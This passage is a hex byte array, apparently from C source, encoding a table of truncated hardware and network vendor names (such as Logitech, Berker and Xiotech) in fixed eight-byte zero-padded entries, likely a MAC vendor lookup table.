0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e,\r\n0x4a, 0x61, 0x70, 0x61, 0x6e, 0x4b, 0x79, 0x61,\r\n0x53, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x45, 0x6e,\r\n0x54, 0x6f, 0x6c, 0x65, 0x64, 0x6f, 0x44, 0x6f,\r\n0x4f, 0x70, 0x65, 0x6e, 0x6d, 0x6f, 0x6b, 0x6f,\r\n0x53, 0x41, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x65, 0x78, 0x67, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x69, 0x6f, 0x73, 0x63, 0x72, 0x79, 0x70,\r\n0x49, 0x64, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x61, 0x6b, 0x75, 0x73, 0x61, 0x6e, 0x4d,\r\n0x42, 0x65, 0x6e, 0x2d, 0x52, 0x69, 0x45, 0x6c,\r\n0x50, 0x72, 0x6f, 0x6d, 0x69, 0x6e, 0x76, 0x65,\r\n0x52, 0x6f, 0x79, 0x61, 0x6c, 0x74, 0x65, 0x6b,\r\n0x4b, 0x6f, 0x62, 0x69, 0x73, 0x68, 0x69, 0x45,\r\n0x41, 0x74, 0x6c, 0x61, 0x73, 0x4d, 0x61, 0x74,\r\n0x41, 0x73, 0x74, 0x65, 0x63, 0x54, 0x65, 0x63,\r\n0x4c, 0x6f, 0x67, 0x69, 0x74, 0x65, 0x63, 0x68,\r\n0x49, 0x6e, 0x6e, 0x65, 0x72, 0x4d, 0x6f, 0x6e,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x61, 0x63, 0x6f,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x76, 0x69, 0x65,\r\n0x4d, 0x62, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x63, 0x63, 0x6d, 0x00, 0x00, 0x00, 0x00,\r\n0x4f, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x4c, 0x6f,\r\n0x53, 0x74, 0x61, 0x72, 0x62, 0x72, 0x69, 0x64,\r\n0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x2d,\r\n0x54, 0x72, 0x69, 0x61, 0x6e, 0x67, 0x6c, 0x65,\r\n0x42, 0x65, 0x72, 0x6b, 0x65, 0x72, 0x00, 0x00,\r\n0x54, 0x72, 0x61, 0x76, 0x65, 0x6c, 0x70, 0x69,\r\n0x4c, 0x75, 0x6e, 0x67, 0x48, 0x77, 0x61, 0x45,\r\n0x41, 0x69, 0x72, 0x38, 0x30, 0x32, 0x4c, 0x6c,\r\n0x42, 0x65, 0x6c, 0x6c, 0x77, 0x69, 0x6e, 0x49,\r\n0x47, 0x65, 0x6e, 0x65, 0x73, 0x69, 0x73, 0x49,\r\n0x43, 0x6f, 0x6e, 0x73, 0x74, 0x72, 0x75, 0x63,\r\n0x51, 0x62, 0x69, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x52, 0x70, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x53, 0x70, 0x65, 0x61, 0x6b, 0x65, 0x72, 0x63,\r\n0x45, 0x74, 0x68, 0x65, 0x72, 0x73, 0x74, 0x61,\r\n0x45, 0x6e, 0x74, 0x65, 0x73, 0x45, 0x6c, 0x65,\r\n0x47, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70,\r\n0x4d, 0x63, 0x73, 0x4c, 0x6f, 0x67, 0x69, 0x63,\r\n0x4d, 0x6f, 0x6a, 0x69, 0x78, 0x00, 0x00, 0x00,\r\n0x4d, 0x61, 0x6e, 0x68, 0x61, 0x74, 0x74, 0x61,\r\n0x41, 0x6c, 0x62, 0x65, 0x6e, 0x74, 0x69, 0x61,\r\n0x4c, 0x69, 0x6e, 0x65, 0x61, 0x67, 0x65, 0x50,\r\n0x52, 0x6f, 0x73, 0x65, 0x6d, 0x61, 0x6e, 0x45,\r\n0x53, 0x65, 0x67, 0x6e, 0x65, 0x74, 0x69, 0x63,\r\n0x43, 0x6f, 0x6e, 0x6d, 0x65, 0x64, 0x4c, 0x69,\r\n0x54, 0x68, 0x69, 0x6e, 0x6b, 0x77, 0x61, 0x72,\r\n0x53, 0x77, 0x69, 0x73, 0x73, 0x64, 0x69, 0x73,\r\n0x48, 0x64, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e,\r\n0x55, 0x76, 0x74, 0x55, 0x6e, 0x74, 0x65, 0x72,\r\n0x47, 0x65, 0x6d, 0x61, 0x63, 0x47, 0x65, 0x73,\r\n0x4c, 0x6f, 0x72, 0x65, 0x78, 0x54, 0x65, 0x63,\r\n0x50, 0x68, 0x6f, 0x6e, 0x69, 0x6b, 0x49, 0x6e,\r\n0x45, 0x6d, 0x68, 0x45, 0x6e, 0x65, 0x72, 0x67,\r\n0x4b, 0x72, 0x6f, 0x6e, 0x62, 0x61, 0x63, 0x6b,\r\n0x42, 0x65, 0x63, 0x6b, 0x77, 0x69, 0x74, 0x68,\r\n0x44, 0x79, 0x6e, 0x61, 0x54, 0x65, 0x63, 0x68,\r\n0x42, 0x6c, 0x61, 0x74, 0x61, 0x6e, 0x64, 0x00,\r\n0x43, 0x6f, 0x6d, 0x70, 0x61, 0x73, 0x73, 0x00,\r\n0x54, 0x61, 0x6c, 0x65, 0x6e, 0x74, 0x43, 0x6f,\r\n0x4a, 0x73, 0x63, 0x53, 0x74, 0x69, 0x6c, 0x73,\r\n0x4a, 0x73, 0x63, 0x47, 0x6f, 0x6f, 0x64, 0x77,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x41,\r\n0x50, 0x6c, 0x61, 0x6e, 0x61, 0x72, 0x4c, 0x6c,\r\n0x4d, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x73, 0x73,\r\n0x50, 0x69, 0x6e, 0x67, 0x6f, 0x6f, 0x64, 0x54,\r\n0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x66, 0x6c,\r\n0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x53, 0x75,\r\n0x42, 0x6f, 0x74, 0x69, 0x6b, 0x54, 0x65, 0x63,\r\n0x58, 0x67, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x51, 0x69, 0x6e, 0x67, 0x64, 0x61, 0x6f, 0x48,\r\n0x54, 0x65, 0x72, 0x61, 0x76, 0x69, 0x65, 0x77,\r\n0x45, 0x69, 0x67, 0x65, 0x6e, 0x44, 0x65, 0x76,\r\n0x47, 0x69, 0x62, 0x61, 0x68, 0x6e, 0x4d, 0x65,\r\n0x48, 0x65, 0x6f, 0x6c, 0x44, 0x65, 0x73, 0x69,\r\n0x42, 0x6c, 0x75, 0x65, 0x46, 0x6f, 0x78, 0x50,\r\n0x4c, 0x6f, 0x64, 0x61, 0x6d, 0x45, 0x6c, 0x65,\r\n0x57, 0x69, 0x77, 0x69, 0x64, 0x65, 0x00, 0x00,\r\n0x54, 0x65, 0x63, 0x68, 0x6e, 0x65, 0x78, 0x69,\r\n0x57, 0x69, 0x74, 0x65, 0x6c, 0x63, 0x6f, 0x6d,\r\n0x50, 0x68, 0x61, 0x62, 0x72, 0x69, 0x78, 0x00,\r\n0x4c, 0x75, 0x63, 0x61, 0x73, 0x42, 0x76, 0x00,\r\n0x41, 0x63, 0x63, 0x65, 0x6c, 0x53, 0x65, 0x6d,\r\n0x54, 0x65, 0x6c, 0x65, 0x70, 0x6c, 0x61, 0x6e,\r\n0x47, 0x69, 0x67, 0x6c, 0x65, 0x53, 0x65, 0x6d,\r\n0x41, 0x70, 0x72, 0x69, 0x76, 0x61, 0x49, 0x73,\r\n0x44, 0x69, 0x67, 0x65, 0x63, 0x6f, 0x72, 0x00,\r\n0x53, 0x6b, 0x79, 0x64, 0x69, 0x67, 0x69, 0x74,\r\n0x46, 0x6d, 0x73, 0x46, 0x6f, 0x72, 0x63, 0x65,\r\n0x53, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x69, 0x6f,\r\n0x45, 0x6c, 0x6c, 0x69, 0x6f, 0x6e, 0x44, 0x69,\r\n0x43, 0x61, 0x63, 0x68, 0x65, 0x49, 0x71, 0x00,\r\n0x43, 0x63, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x67, 0x65, 0x6e, 0x69, 0x65, 0x75,\r\n0x4d, 0x65, 0x74, 0x72, 0x69, 0x73, 0x55, 0x73,\r\n0x44, 0x62, 0x73, 0x4c, 0x6f, 0x64, 0x67, 0x69,\r\n0x58, 0x69, 0x6f, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x4c, 0x61, 0x73, 0x63, 0x61, 0x72, 0x45, 0x6c,\r\n0x41, 0x70, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x68,\r\n0x42, 0x65, 0x72, 0x74, 0x61, 0x6e, 0x61, 0x53,\r\n0x44, 0x61, 0x69, 0x69, 0x63, 0x68, 0x69, 0x2d,\r\n0x53, 0x65, 0x72, 0x6f, 0x6e, 0x69, 0x63, 0x73,\r\n0x50, 0x6f, 0x73, 0x62, 0x72, 0x6f, 0x00, 0x00,\r\n0x4c, 0x65, 0x64, 0x63, 0x6f, 0x00, 0x00, 0x00,\r\n0x41, 0x31, 0x30, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x47, 0x74, 0x72, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x44, 0x61, 0x74, 0x72, 0x6f, 0x6e, 0x57, 0x6f,\r\n0x42, 0x6c, 0x75, 0x65, 0x2d, 0x57, 0x68, 0x69,\r\n0x53, 0x74, 0x69, 0x6c, 0x6f, 0x53, 0x72, 0x6c,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x45, 0x6e, 0x65,\r\n0x41, 0x74, 0x6c, 0x61, 0x6e, 0x74, 0x61, 0x44,\r\n0x54, 0x61, 0x73, 0x65, 0x6f, 0x6e, 0x00, 0x00,\r\n0x49, 0x53, 0x48, 0x69, 0x67, 0x68, 0x54, 0x65,\r\n0x47, 0x6f, 0x6f, 0x64, 0x6d, 0x69, 0x6c, 0x6c,\r\n0x42, 0x72, 0x6f, 0x77, 0x6e, 0x49, 0x6e, 0x6e,\r\n0x42, 0x6c, 0x69, 0x63, 0x6b, 0x53, 0x6f, 0x75,\r\n0x4e, 0x65, 0x78, 0x74, 0x69, 0x6f, 0x00, 0x00,\r\n0x54, 0x69, 0x6d, 0x65, 0x69, 0x70, 0x73, 0x00,\r\n0x53, 0x6f, 0x6e, 0x74, 0x68, 0x65, 0x69, 0x6d,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x73, 0x68, 0x61,\r\n0x49, 0x2f, 0x4f, 0x49, 0x6e, 0x74, 0x65, 0x72,\r\n0x43, 0x68, 0x69, 0x4c, 0x69, 0x6e, 0x54, 0x65,\r\n0x57, 0x69, 0x6d, 0x61, 0x74, 0x65, 0x54, 0x65,\r\n0x50, 0x61, 0x6c, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x42, 0x6f, 0x79, 0x6f, 0x75, 0x6e, 0x67, 0x54,\r\n0x58, 0x65, 0x6e, 0x61, 0x74, 0x65, 0x63, 0x68,\r\n0x45, 0x76, 0x67, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x46, 0x75, 0x6c, 0x68, 0x75, 0x61, 0x4d, 0x69,\r\n0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x45,\r\n0x48, 0x61, 0x6e, 0x6c, 0x6f, 0x6e, 0x67, 0x54,\r\n0x4a, 0x6f, 0x77, 0x54, 0x6f, 0x6e, 0x67, 0x54,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x73, 0x79, 0x6e,\r\n0x43, 0x61, 0x73, 0x69, 0x6f, 0x48, 0x69, 0x74,\r\n0x55, 0x70, 0x2d, 0x54, 0x6f, 0x64, 0x61, 0x79,\r\n0x4e, 0x69, 0x77, 0x53, 0x6f, 0x6c, 0x75, 0x74,\r\n0x51, 0x74, 0x65, 0x63, 0x68, 0x4c, 0x6c, 0x63,\r\n0x4d, 0x73, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4f, 0x70, 0x74, 0x65, 0x78, 0x00, 0x00, 0x00,\r\n0x52, 0x69, 0x76, 0x61, 0x4e, 0x65, 0x74, 0x77,\r\n0x34, 0x69, 0x70, 0x6e, 0x65, 0x74, 0x00, 0x00,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x72, 0x69, 0x73,\r\n0x54, 0x65, 0x6c, 0x65, 0x72, 0x61, 0x64, 0x53,\r\n0x41, 0x2d, 0x54, 0x72, 0x75, 0x73, 0x74, 0x43,\r\n0x52, 0x73, 0x64, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x53,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x53, 0x61,\r\n0x47, 0x64, 0x69, 0x4c, 0x6c, 0x63, 0x00, 0x00,\r\n0x45, 0x64, 0x67, 0x65, 0x76, 0x65, 0x6c, 0x6f,\r\n0x49, 0x6e, 0x2d, 0x43, 0x69, 0x72, 0x63, 0x75,\r\n0x41, 0x6c, 0x70, 0x68, 0x69, 0x6f, 0x6e, 0x00,\r\n0x53, 0x69, 0x6d, 0x65, 0x74, 0x00, 0x00, 0x00,\r\n0x4b, 0x75, 0x72, 0x75, 0x73, 0x75, 0x67, 0x61,\r\n0x50, 0x72, 0x69, 0x6e, 0x74, 0x72, 0x65, 0x78,\r\n0x54, 0x72, 0x69, 0x6f, 0x44, 0x61, 0x74, 0x61,\r\n0x54, 0x65, 0x63, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x55, 0x62, 0x69, 0x73, 0x79, 0x73, 0x54, 0x65,\r\n0x53, 0x68, 0x69, 0x6e, 0x73, 0x65, 0x69, 0x49,\r\n0x41, 0x75, 0x64, 0x69, 0x6f, 0x50, 0x61, 0x72,\r\n0x50, 0x61, 0x72, 0x61, 0x64, 0x6f, 0x78, 0x48,\r\n0x56, 0x69, 0x61, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x4d, 0x6f, 0x6e,\r\n0x50, 0x73, 0x41, 0x75, 0x64, 0x69, 0x6f, 0x49,\r\n0x4e, 0x61, 0x6b, 0x61, 0x6a, 0x69, 0x6d, 0x61,\r\n0x43, 0x6f, 0x72, 0x65, 0x74, 0x72, 0x65, 0x65,\r\n0x47, 0x72, 0x65, 0x65, 0x6e, 0x50, 0x61, 0x63,\r\n0x52, 0x69, 0x63, 0x63, 0x69, 0x75, 0x73, 0x2b,\r\n0x49, 0x6e, 0x64, 0x69, 0x67, 0x6f, 0x4d, 0x6f,\r\n0x52, 0x65, 0x73, 0x70, 0x69, 0x72, 0x6f, 0x6e,\r\n0x44, 0x73, 0x70, 0x53, 0x6f, 0x6c, 0x75, 0x74,\r\n0x53, 0x65, 0x72, 0x69, 0x74, 0x65, 0x63, 0x68,\r\n0x50, 0x69, 0x78, 0x65, 0x6c, 0x50, 0x6f, 0x77,\r\n0x59, 0x61, 0x6d, 0x61, 0x74, 0x61, 0x6b, 0x65,\r\n0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65,\r\n0x47, 0x61, 0x72, 0x72, 0x65, 0x74, 0x74, 0x43,\r\n0x53, 0x66, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x61, 0x62, 0x6c, 0x65, 0x43, 0x6f, 0x6d,\r\n0x50, 0x61, 0x63, 0x6b, 0x61, 0x72, 0x64, 0x42,\r\n0x53, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x2d, 0x43,\r\n0x4f, 0x63, 0x74, 0x61, 0x67, 0x6f, 0x6e, 0x00,\r\n0x41, 0x64, 0x61, 0x73, 0x74, 0x72, 0x61, 0x00,\r\n0x43, 0x61, 0x72, 0x6c, 0x5a, 0x65, 0x69, 0x73,\r\n0x4e, 0x73, 0x73, 0x6c, 0x67, 0x6c, 0x6f, 0x62,\r\n0x45, 0x62, 0x72, 0x61, 0x69, 0x6e, 0x73, 0x00,\r\n0x4a, 0x65, 0x6f, 0x6c, 0x53, 0x79, 0x73, 0x74,\r\n0x43, 0x61, 0x6e, 0x6f, 0x70, 0x75, 0x73, 0x00,\r\n0x43, 0x61, 0x6d, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x41, 0x63, 0x74, 0x69, 0x73, 0x43, 0x6f, 0x6d,\r\n0x53, 0x68, 0x6f, 0x77, 0x61, 0x45, 0x6c, 0x65,\r\n0x4f, 0x72, 0x62, 0x6f, 0x74, 0x65, 0x63, 0x68,\r\n0x4f, 0x68, 0x6c, 0x65, 0x72, 0x00, 0x00, 0x00,\r\n0x45, 0x78, 0x63, 0x65, 0x6c, 0x00, 0x00, 0x00,\r\n0x4b, 0x61, 0x74, 0x61, 0x6e, 0x61, 0x50, 0x72,\r\n0x4e, 0x65, 0x74, 0x71, 0x75, 0x65, 0x73, 0x74,\r\n0x42, 0x65, 0x73, 0x74, 0x50, 0x6f, 0x77, 0x65,\r\n0x4d, 0x65, 0x67, 0x61, 0x74, 0x72, 0x6f, 0x6e,\r\n0x41, 0x6c, 0x67, 0x6f, 0x72, 0x69, 0x74, 0x68,\r\n0x4e, 0x6d, 0x73, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x54, 0x43, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x50, 0x61, 0x63, 0x69, 0x66, 0x69, 0x63, 0x43,\r\n0x41, 0x6d, 0x6b, 0x6c, 0x79, 0x00, 0x00, 0x00,\r\n0x4d, 0x69, 0x6e, 0x67, 0x46, 0x6f, 0x72, 0x74,\r\n0x57, 0x65, 0x73, 0x74, 0x45, 0x67, 0x67, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x70, 0x72, 0x6f, 0x63,\r\n0x4e, 0x56, 0x44, 0x7a, 0x69, 0x6e, 0x65, 0x00,\r\n0x41, 0x74, 0x6d, 0x6c, 0x41, 0x64, 0x76, 0x61,\r\n0x57, 0x65, 0x6c, 0x6c, 0x74, 0x72, 0x6f, 0x6e,\r\n0x54, 0x61, 0x69, 0x79, 0x6f, 0x00, 0x00, 0x00,\r\n0x44, 0x61, 0x79, 0x73, 0x74, 0x61, 0x72, 0x44,\r\n0x5a, 0x65, 0x74, 0x61, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x41, 0x6e, 0x61, 0x6c, 0x6f, 0x67, 0x44, 0x69,\r\n0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x54,\r\n0x53, 0x79, 0x6e, 0x61, 0x70, 0x73, 0x65, 0x54,\r\n0x52, 0x6f, 0x74, 0x65, 0x63, 0x49, 0x6e, 0x64,\r\n0x49, 0x62, 0x6d, 0x49, 0x6e, 0x74, 0x65, 0x72,\r\n0x42, 0x6d, 0x63, 0x53, 0x6f, 0x66, 0x74, 0x77,\r\n0x56, 0x6d, 0x65, 0x4d, 0x69, 0x63, 0x72, 0x6f,\r\n0x53, 0x63, 0x69, 0x6e, 0x65, 0x74, 0x73, 0x00,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x42,\r\n0x57, 0x69, 0x73, 0x64, 0x6d, 0x00, 0x00, 0x00,\r\n0x45, 0x75, 0x72, 0x6f, 0x74, 0x69, 0x6d, 0x65,\r\n0x4c, 0x6f, 0x67, 0x69, 0x63, 0x61, 0x6e, 0x54,\r\n0x4a, 0x75, 0x6b, 0x69, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x61, 0x74, 0x61, 0x4e, 0x65, 0x74, 0x00,\r\n0x44, 0x61, 0x74, 0x61, 0x6d, 0x65, 0x74, 0x72,\r\n0x4e, 0x65, 0x75, 0x72, 0x6f, 0x6e, 0x00, 0x00,\r\n0x47, 0x65, 0x6e, 0x69, 0x74, 0x65, 0x63, 0x68,\r\n0x49, 0x6f, 0x6e, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x43, 0x69, 0x70, 0x72, 0x69, 0x63, 0x6f, 0x00,\r\n0x53, 0x74, 0x65, 0x69, 0x6e, 0x62, 0x72, 0x65,\r\n0x46, 0x6f, 0x72, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x6d, 0x74, 0x72, 0x6f, 0x6e, 0x00,\r\n0x50, 0x72, 0x6f, 0x6e, 0x65, 0x74, 0x00, 0x00,\r\n0x41, 0x75, 0x74, 0x6f, 0x63, 0x6f, 0x6d, 0x70,\r\n0x4d, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x43, 0x6f,\r\n0x49, 0x6e, 0x6f, 0x76, 0x69, 0x73, 0x00, 0x00,\r\n0x44, 0x65, 0x75, 0x74, 0x73, 0x63, 0x68, 0x65,\r\n0x56, 0x65, 0x72, 0x69, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x52, 0x61, 0x67, 0x75, 0x6c, 0x61, 0x00, 0x00,\r\n0x48, 0x75, 0x6e, 0x74, 0x73, 0x76, 0x69, 0x6c,\r\n0x53, 0x79, 0x63, 0x61, 0x6d, 0x6f, 0x72, 0x65,\r\n0x41, 0x6c, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x4e, 0x65, 0x6f, 0x70, 0x72, 0x6f, 0x64, 0x75,\r\n0x54, 0x69, 0x74, 0x7a, 0x65, 0x44, 0x61, 0x74,\r\n0x41, 0x6c, 0x6c, 0x69, 0x65, 0x64, 0x53, 0x69,\r\n0x4d, 0x69, 0x72, 0x6f, 0x43, 0x6f, 0x6d, 0x70,\r\n0x4b, 0x65, 0x6e, 0x74, 0x72, 0x6f, 0x78, 0x4c,\r\n0x4e, 0x61, 0x6e, 0x6f, 0x6d, 0x61, 0x74, 0x69,\r\n0x43, 0x61, 0x73, 0x74, 0x6c, 0x65, 0x52, 0x6f,\r\n0x47, 0x61, 0x6d, 0x6d, 0x61, 0x64, 0x61, 0x74,\r\n0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x49,\r\n0x44, 0x79, 0x6e, 0x61, 0x74, 0x65, 0x63, 0x68,\r\n0x53, 0x63, 0x6f, 0x72, 0x70, 0x69, 0x6f, 0x6e,\r\n0x57, 0x69, 0x70, 0x72, 0x6f, 0x49, 0x6e, 0x66,\r\n0x50, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x4d, 0x69,\r\n0x49, 0x73, 0x64, 0x79, 0x6e, 0x65, 0x00, 0x00,\r\n0x49, 0x73, 0x64, 0x6e, 0x00, 0x00, 0x00, 0x00,\r\n0x4f, 0x73, 0x61, 0x6b, 0x61, 0x43, 0x6f, 0x6d,\r\n0x4b, 0x6f, 0x6e, 0x69, 0x63, 0x61, 0x4d, 0x69,\r\n0x45, 0x76, 0x65, 0x72, 0x67, 0x72, 0x65, 0x65,\r\n0x44, 0x61, 0x74, 0x61, 0x52, 0x61, 0x63, 0x65,\r\n0x58, 0x61, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x46, 0x6c, 0x6f, 0x77, 0x70, 0x6f, 0x69, 0x6e,\r\n0x48, 0x79, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00,\r\n0x49, 0x62, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x00, 0x00,\r\n0x53, 0x75, 0x6e, 0x67, 0x77, 0x6f, 0x6f, 0x6e,\r\n0x52, 0x65, 0x75, 0x64, 0x6f, 0x00, 0x00, 0x00,\r\n0x4b, 0x61, 0x72, 0x64, 0x69, 0x6f, 0x73, 0x00,\r\n0x4d, 0x69, 0x6b, 0x72, 0x6f, 0x6e, 0x00, 0x00,\r\n0x57, 0x69, 0x73, 0x65, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x41, 0x75, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00,\r\n0x46, 0x69, 0x6e, 0x65, 0x63, 0x6f, 0x6d, 0x00,\r\n0x4b, 0x79, 0x6f, 0x65, 0x69, 0x53, 0x61, 0x6e,\r\n0x53, 0x79, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x55,\r\n0x4f, 0x6e, 0x65, 0x61, 0x63, 0x00, 0x00, 0x00,\r\n0x50, 0x72, 0x65, 0x73, 0x74, 0x69, 0x63, 0x6f,\r\n0x4f, 0x63, 0x65, 0x50, 0x72, 0x69, 0x6e, 0x74,\r\n0x4d, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x63, 0x00,\r\n0x54, 0x33, 0x70, 0x6c, 0x75, 0x73, 0x4e, 0x65,\r\n0x53, 0x6f, 0x6e, 0x69, 0x78, 0x43, 0x6f, 0x6d,\r\n0x4c, 0x61, 0x70, 0x69, 0x73, 0x54, 0x65, 0x63,\r\n0x47, 0x61, 0x6c, 0x61, 0x78, 0x79, 0x4e, 0x65,\r\n0x43, 0x6d, 0x64, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x43, 0x68, 0x65, 0x76, 0x69, 0x6e, 0x53, 0x6f,\r\n0x4a, 0x31, 0x32, 0x35, 0x4e, 0x61, 0x74, 0x69,\r\n0x43, 0x68, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x67,\r\n0x4c, 0x61, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x73,\r\n0x43, 0x75, 0x62, 0x69, 0x78, 0x00, 0x00, 0x00,\r\n0x52, 0x69, 0x76, 0x61, 0x45, 0x6c, 0x65, 0x63,\r\n0x49, 0x6e, 0x76, 0x65, 0x6e, 0x73, 0x79, 0x73,\r\n0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x53,\r\n0x33, 0x64, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x72, 0x73, 0x61, 0x74, 0x45, 0x6c, 0x65,\r\n0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x41,\r\n0x4c, 0x69, 0x70, 0x70, 0x65, 0x72, 0x74, 0x41,\r\n0x42, 0x72, 0x6f, 0x77, 0x6e, 0x53, 0x4f, 0x70,\r\n0x4d, 0x65, 0x72, 0x63, 0x75, 0x72, 0x79, 0x43,\r\n0x4f, 0x61, 0x4c, 0x61, 0x62, 0x6f, 0x72, 0x61,\r\n0x44, 0x6f, 0x76, 0x61, 0x74, 0x72, 0x6f, 0x6e,\r\n0x47, 0x61, 0x6c, 0x63, 0x6f, 0x6d, 0x4e, 0x65,\r\n0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6f, 0x69,\r\n0x41, 0x70, 0x69, 0x45, 0x6e, 0x67, 0x69, 0x6e,\r\n0x50, 0x72, 0x6f, 0x78, 0x69, 0x6d, 0x00, 0x00,\r\n0x50, 0x61, 0x69, 0x72, 0x67, 0x61, 0x69, 0x6e,\r\n0x53, 0x61, 0x73, 0x74, 0x54, 0x65, 0x63, 0x68,\r\n0x57, 0x68, 0x69, 0x74, 0x65, 0x48, 0x6f, 0x72,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x49, 0x6e, 0x64,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x66, 0x6c, 0x65,\r\n0x4c, 0x69, 0x6e, 0x71, 0x00, 0x00, 0x00, 0x00,\r\n0x4f, 0x72, 0x6e, 0x65, 0x74, 0x44, 0x61, 0x74,\r\n0x47, 0x61, 0x74, 0x65, 0x77, 0x61, 0x79, 0x44,\r\n0x43, 0x6f, 0x6d, 0x74, 0x65, 0x63, 0x68, 0x52,\r\n0x47, 0x6b, 0x64, 0x47, 0x65, 0x73, 0x65, 0x6c,\r\n0x54, 0x65, 0x72, 0x6d, 0x61, 0x45, 0x6c, 0x65,\r\n0x59, 0x61, 0x73, 0x6b, 0x61, 0x77, 0x61, 0x45,\r\n0x41, 0x67, 0x69, 0x6c, 0x65, 0x4e, 0x65, 0x74,\r\n0x4e, 0x61, 0x6d, 0x61, 0x71, 0x75, 0x61, 0x43,\r\n0x50, 0x72, 0x69, 0x6d, 0x65, 0x4f, 0x70, 0x74,\r\n0x4d, 0x65, 0x74, 0x72, 0x69, 0x63, 0x6f, 0x6d,\r\n0x43, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x46, 0x6f,\r\n0x5a, 0x61, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4c, 0x6f, 0x6e, 0x67, 0x52, 0x65, 0x61, 0x63,\r\n0x4e, 0x69, 0x6f, 0x62, 0x72, 0x61, 0x72, 0x61,\r\n0x4c, 0x61, 0x6e, 0x41, 0x63, 0x63, 0x65, 0x73,\r\n0x41, 0x65, 0x68, 0x72, 0x54, 0x65, 0x73, 0x74,\r\n0x50, 0x75, 0x6c, 0x73, 0x65, 0x45, 0x6c, 0x65,\r\n0x54, 0x65, 0x78, 0x61, 0x73, 0x4d, 0x65, 0x6d,\r\n0x43, 0x6f, 0x75, 0x6e, 0x74, 0x65, 0x72, 0x53,\r\n0x49, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x61, 0x67, 0x6c, 0x65, 0x4e, 0x65, 0x32,\r\n0x4e, 0x65, 0x63, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x41, 0x6b, 0x61, 0x69, 0x50, 0x72, 0x6f, 